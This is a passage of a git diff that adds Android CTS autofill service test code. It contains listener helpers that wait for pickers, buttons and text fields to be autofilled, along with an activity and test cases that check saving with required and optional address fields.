+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@OnDateChangedListener} used to assert a {@link TimePicker} was auto-filled properly.
+ */
+final class MultipleTimesTimeListener implements TimePicker.OnTimeChangedListener {
+    private final String name;
+    private final CountDownLatch latch;
+    private final TimePicker timePicker;
+    private final int expectedHour;
+    private final int expectedMinute;
+
+    MultipleTimesTimeListener(String name, int times, TimePicker timePicker, int expectedHour,
+            int expectedMinute) {
+        this.name = name;
+        this.timePicker = timePicker;
+        this.expectedHour = expectedHour;
+        this.expectedMinute = expectedMinute;
+        this.latch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void onTimeChanged(TimePicker view, int hour, int minute) {
+        latch.countDown();
+    }
+
+    void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on TimePicker %s", FILL_TIMEOUT_MS, name)
+                .that(set).isTrue();
+        assertWithMessage("Wrong hour on TimePicker %s", name)
+                .that(timePicker.getHour()).isEqualTo(expectedHour);
+        assertWithMessage("Wrong minute on TimePicker %s", name)
+                .that(timePicker.getMinute()).isEqualTo(expectedMinute);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
new file mode 100644
index 0000000..48b0c2f
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/MyAutofillCallback.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.CONNECTION_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.view.View;
+import android.view.autofill.AutofillManager.AutofillCallback;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link AutofillCallback} used to recover events during tests.
+ */
+final class MyAutofillCallback extends AutofillCallback {
+
+    private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
+
+    @Override
+    public void onAutofillEvent(View view, int event) {
+        mEvents.offer(new MyEvent(view, event));
+    }
+
+    @Override
+    public void onAutofillEvent(View view, int childId, int event) {
+        mEvents.offer(new MyEvent(view, childId, event));
+    }
+
+    /**
+     * Gets the next available event or fail if it times out.
+     */
+    MyEvent getEvent() throws InterruptedException {
+        final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (event == null) {
+            throw new RetryableException("no event in %d ms", CONNECTION_TIMEOUT_MS);
+        }
+        return event;
+    }
+
+    /**
+     * Used to assert there is no event left behind.
+     */
+    void assertNumberUnhandledEvents(int expected) {
+        assertWithMessage("Invalid number of events left").that(mEvents.size()).isEqualTo(expected);
+    }
+
+    /**
+     * Convenience method to assert an UI shown event for the given view was received.
+     */
+    MyEvent assertUiShownEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_SHOWN);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+            .isSameAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI shown event for the given virtual view was received.
+     */
+    void assertUiShownEvent(View expectedView, int expectedChildId) throws InterruptedException {
+        final MyEvent event = assertUiShownEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+            .isSameAs(expectedChildId);
+    }
+
+    /**
+     * Convenience method to assert an UI hidden event for the given view was received.
+     */
+    MyEvent assertUiHiddenEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_HIDDEN);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+                .isSameAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI hidden event for the given view was received.
+     */
+    void assertUiHiddenEvent(View expectedView, int expectedChildId) throws InterruptedException {
+        final MyEvent event = assertUiHiddenEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+                .isSameAs(expectedChildId);
+    }
+
+    /**
+     * Convenience method to assert an UI unavailable event for the given view was received.
+     */
+    MyEvent assertUiUnavailableEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_UNAVAILABLE);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+                .isSameAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI unavailable event for the given view was received.
+     */
+    void assertUiUnavailableEvent(View expectedView, int expectedChildId)
+            throws InterruptedException {
+        final MyEvent event = assertUiUnavailableEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+                .isSameAs(expectedChildId);
+    }
+
+    private static final class MyEvent {
+        public final View view;
+        public final int childId;
+        public final int event;
+
+        MyEvent(View view, int event) {
+            this(view, View.NO_ID, event);
+        }
+
+        MyEvent(View view, int childId, int event) {
+            this.view = view;
+            this.childId = childId;
+            this.event = event;
+        }
+
+        @Override
+        public String toString() {
+            return event + ": " + view + " (childId: " + childId + ")";
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
new file mode 100644
index 0000000..fee5e31
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeCompoundButtonListener.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static android.autofillservice.cts.Helper.*;
+
+import android.widget.CompoundButton;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.CompoundButton.OnCheckedChangeListener} used to assert a
+ * {@link CompoundButton} was auto-filled properly.
+ */
+final class OneTimeCompoundButtonListener implements CompoundButton.OnCheckedChangeListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final CompoundButton button;
+    private final boolean expected;
+
+    OneTimeCompoundButtonListener(String name, CompoundButton button,
+            boolean expectedAutofillValue) {
+        this.name = name;
+        this.button = button;
+        this.expected = expectedAutofillValue;
+    }
+
+    @Override
+    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
+        latch.countDown();
+    }
+
+    void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on CompoundButton %s", FILL_TIMEOUT_MS, name)
+            .that(set).isTrue();
+        final boolean actual = button.isChecked();
+        assertWithMessage("Wrong auto-fill value on CompoundButton %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java
new file mode 100644
index 0000000..ef28a23
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeDateListener.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.DatePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@OnDateChangedListener} used to assert a {@link DatePicker} was auto-filled properly.
+ */
+final class OneTimeDateListener implements DatePicker.OnDateChangedListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final DatePicker datePicker;
+    private final int expectedYear;
+    private final int expectedMonth;
+    private final int expectedDay;
+
+    OneTimeDateListener(String name, DatePicker datePicker, int expectedYear, int expectedMonth,
+            int expectedDay) {
+        this.name = name;
+        this.datePicker = datePicker;
+        this.expectedYear = expectedYear;
+        this.expectedMonth = expectedMonth;
+        this.expectedDay = expectedDay;
+    }
+
+    @Override
+    public void onDateChanged(DatePicker view, int year, int monthOfYear, int dayOfMonth) {
+        latch.countDown();
+    }
+
+    void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on DatePicker %s", FILL_TIMEOUT_MS, name)
+            .that(set).isTrue();
+        assertWithMessage("Wrong year on DatePicker %s", name)
+            .that(datePicker.getYear()).isEqualTo(expectedYear);
+        assertWithMessage("Wrong month on DatePicker %s", name)
+            .that(datePicker.getMonth()).isEqualTo(expectedMonth);
+        assertWithMessage("Wrong day on DatePicker %s", name)
+            .that(datePicker.getDayOfMonth()).isEqualTo(expectedDay);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java
new file mode 100644
index 0000000..1903cb9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeRadioGroupListener.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.RadioGroup;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
+ * {@link RadioGroup} was auto-filled properly.
+ */
+final class OneTimeRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final RadioGroup radioGroup;
+    private final int expected;
+
+    OneTimeRadioGroupListener(String name, RadioGroup radioGroup, int expectedAutoFilledValue) {
+        this.name = name;
+        this.radioGroup = radioGroup;
+        this.expected = expectedAutoFilledValue;
+    }
+
+    @Override
+    public void onCheckedChanged(RadioGroup group, int checkedId) {
+        latch.countDown();
+    }
+
+    void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT_MS, name)
+            .that(set).isTrue();
+        final int actual = radioGroup.getCheckedRadioButtonId();
+        assertWithMessage("Wrong auto-fill value on RadioGroup %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeSettingsListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeSettingsListener.java
new file mode 100644
index 0000000..e723357
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeSettingsListener.java
@@ -0,0 +1,51 @@
+package android.autofillservice.cts;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.database.ContentObserver;
+import android.net.Uri;
+import android.os.Handler;
+import android.os.Looper;
+import android.provider.Settings;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper used to block tests until a secure settings value has been updated.
+ */
+final class OneTimeSettingsListener extends ContentObserver {
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private final ContentResolver mResolver;
+    private final String mKey;
+
+    public OneTimeSettingsListener(Context context, String key) {
+        super(new Handler(Looper.getMainLooper()));
+        mKey = key;
+        mResolver = context.getContentResolver();
+        mResolver.registerContentObserver(Settings.Secure.getUriFor(key), false, this);
+    }
+
+    @Override
+    public void onChange(boolean selfChange, Uri uri) {
+        mResolver.unregisterContentObserver(this);
+        mLatch.countDown();
+    }
+
+    /**
+     * Blocks for a few seconds until it's called.
+     *
+     * @throws IllegalStateException if it's not called.
+     */
+    void assertCalled() {
+        try {
+            final boolean updated = mLatch.await(5, TimeUnit.SECONDS);
+            if (!updated) {
+                throw new IllegalStateException("Settings " + mKey + " not called in 5s");
+            }
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new IllegalStateException("Interrupted", e);
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java
new file mode 100644
index 0000000..6bc8279
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeSpinnerListener.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.view.View;
+import android.widget.AdapterView;
+import android.widget.AdapterView.OnItemSelectedListener;
+import android.widget.Spinner;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link OnItemSelectedListener} used to assert an {@link Spinner} was auto-filled properly.
+ */
+final class OneTimeSpinnerListener implements OnItemSelectedListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final Spinner spinner;
+    private final int expected;
+
+    OneTimeSpinnerListener(String name, Spinner spinner, int expectedAutoFilledValue) {
+        this.name = name;
+        this.spinner = spinner;
+        this.expected = expectedAutoFilledValue;
+    }
+
+    void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on Spinner %s", FILL_TIMEOUT_MS, name)
+            .that(set).isTrue();
+        final int actual = spinner.getSelectedItemPosition();
+        assertWithMessage("Wrong auto-fill value on Spinner %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+
+    @Override
+    public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
+        latch.countDown();
+    }
+
+    @Override
+    public void onNothingSelected(AdapterView<?> parent) {
+        latch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java
new file mode 100644
index 0000000..db20c43
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OneTimeTextWatcher.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+/**
+ * Custom {@link TextWatcher} used to assert a {@link EditText} was auto-filled properly.
+ */
+final class OneTimeTextWatcher extends MultipleTimesTextWatcher {
+
+    OneTimeTextWatcher(String name, EditText editText, CharSequence expectedAutofillValue) {
+        super(name, 1, editText, expectedAutofillValue);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
new file mode 100644
index 0000000..9c0d196
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.widget.Button;
+import android.widget.EditText;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Address 1 EditText (id: address1)
+ *   <li>Address 2 EditText (id: address2)
+ *   <li>City EditText (id: city)
+ *   <li>Favorite Color EditText (id: favorite_color)
+ *   <li>Clear Button
+ *   <li>SaveButton
+ * </ul>
+ *
+ * <p>It's used to test auto-fill Save when not all fields are required.
+ */
+public class OptionalSaveActivity extends AbstractAutoFillActivity {
+
+    static final String ID_ADDRESS1 = "address1";
+    static final String ID_ADDRESS2 = "address2";
+    static final String ID_CITY = "city";
+    static final String ID_FAVORITE_COLOR = "favorite_color";
+
+    EditText mAddress1;
+    EditText mAddress2;
+    EditText mCity;
+    EditText mFavoriteColor;
+    private Button mSaveButton;
+    private Button mClearButton;
+    private FillExpectation mExpectation;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.optional_save_activity);
+
+        mAddress1 = (EditText) findViewById(R.id.address1);
+        mAddress2 = (EditText) findViewById(R.id.address2);
+        mCity = (EditText) findViewById(R.id.city);
+        mFavoriteColor = (EditText) findViewById(R.id.favorite_color);
+        mSaveButton = (Button) findViewById(R.id.save);
+        mClearButton = (Button) findViewById(R.id.clear);
+        mSaveButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                save();
+            }
+        });
+        mClearButton.setOnClickListener(new OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                resetFields();
+            }
+        });
+    }
+
+    /**
+     * Resets the values of the input fields.
+     */
+    private void resetFields() {
+        mAddress1.setText("");
+        mAddress2.setText("");
+        mCity.setText("");
+        mFavoriteColor.setText("");
+    }
+
+    /**
+     * Emulates a save action.
+     */
+    void save() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Saved and sounded, please come again!");
+
+        startActivity(intent);
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    void expectAutoFill(String address1, String address2, String city, String favColor) {
+        mExpectation = new FillExpectation(address1, address2, city, favColor);
+        mAddress1.addTextChangedListener(mExpectation.address1Watcher);
+        mAddress2.addTextChangedListener(mExpectation.address2Watcher);
+        mCity.addTextChangedListener(mExpectation.cityWatcher);
+        mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String, String, String)}.
+     */
+    void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.address1Watcher.assertAutoFilled();
+        mExpectation.address2Watcher.assertAutoFilled();
+        mExpectation.cityWatcher.assertAutoFilled();
+        mExpectation.favoriteColorWatcher.assertAutoFilled();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher address1Watcher;
+        private final OneTimeTextWatcher address2Watcher;
+        private final OneTimeTextWatcher cityWatcher;
+        private final OneTimeTextWatcher favoriteColorWatcher;
+
+        private FillExpectation(String address1, String address2, String city, String favColor) {
+            address1Watcher = new OneTimeTextWatcher("address1", mAddress1, address1);
+            address2Watcher = new OneTimeTextWatcher("address2", mAddress2, address2);
+            cityWatcher = new OneTimeTextWatcher("city", mCity, city);
+            favoriteColorWatcher = new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
new file mode 100644
index 0000000..b1250de
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
@@ -0,0 +1,434 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS1;
+import static android.autofillservice.cts.OptionalSaveActivity.ID_ADDRESS2;
+import static android.autofillservice.cts.OptionalSaveActivity.ID_CITY;
+import static android.autofillservice.cts.OptionalSaveActivity.ID_FAVORITE_COLOR;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.test.rule.ActivityTestRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Test case for an activity that contains 4 fields, but the service is only interested in 2-3 of
+ * them for Save:
+ *
+ * <ul>
+ *   <li>Address 1: required
+ *   <li>Address 2: required
+ *   <li>City: optional
+ *   <li>Favorite Color: don't care - LOL
+ * </ul>
+ */
+public class OptionalSaveActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<OptionalSaveActivity> mActivityRule =
+        new ActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class);
+
+    private OptionalSaveActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    /**
+     * Creates a standard builder common to all tests.
+     */
+    private CannedFillResponse.Builder newResponseBuilder() {
+        return new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_CITY)
+                .setOptionalSavableIds(ID_ADDRESS2);
+    }
+
+    @Test
+    public void testNoAutofillSaveAll() throws Exception {
+        noAutofillSaveOnChangeTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            mActivity.mCity.setText("Springfield"); // required
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        }, (s) -> {
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
+        });
+    }
+
+    @Test
+    public void testNoAutofillSaveRequiredOnly() throws Exception {
+        noAutofillSaveOnChangeTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mCity.setText("Springfield"); // required
+        }, (s) -> {
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "");
+            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "");
+        });
+    }
+
+    /**
+     * Tests the scenario where the service didn't have any data to autofill, and the user filled
+     * all fields, even the favorite color (LOL).
+     */
+    private void noAutofillSaveOnChangeTest(Runnable changes, Visitor<AssistStructure> assertions)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder().build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert value of fields
+        assertions.visit(saveRequest.structure);
+
+        // Once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testNoAutofillFirstRequiredFieldMissing() throws Exception {
+        noAutofillNoChangeNoSaveTest(() -> {
+            // address1 is missing
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            mActivity.mCity.setText("Springfield"); // required
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        });
+    }
+
+    @Test
+    public void testNoAutofillSecondRequiredFieldMissing() throws Exception {
+        noAutofillNoChangeNoSaveTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            // city is missing
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        });
+    }
+
+    /**
+     * Tests the scenario where the service didn't have any data to autofill, and the user filled
+     * didn't fill all required changes.
+     */
+    private void noAutofillNoChangeNoSaveTest(Runnable changes) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder().build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_ADDRESS);
+
+        // Once saved, the session should be finsihed.
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testAutofillAllChangedAllSaveAll() throws Exception {
+        mActivity.expectAutoFill("Shelbyville Nuclear Power Plant", "Shelbyville Bluffs",
+                "Shelbyville", "Lemon");
+        autofillAndSaveOnChangeTest(new CannedDataset.Builder()
+                // Initial dataset
+                .setField(ID_ADDRESS1, "Shelbyville Nuclear Power Plant")
+                .setField(ID_ADDRESS2, "Shelbyville Bluffs")
+                .setField(ID_CITY, "Shelbyville")
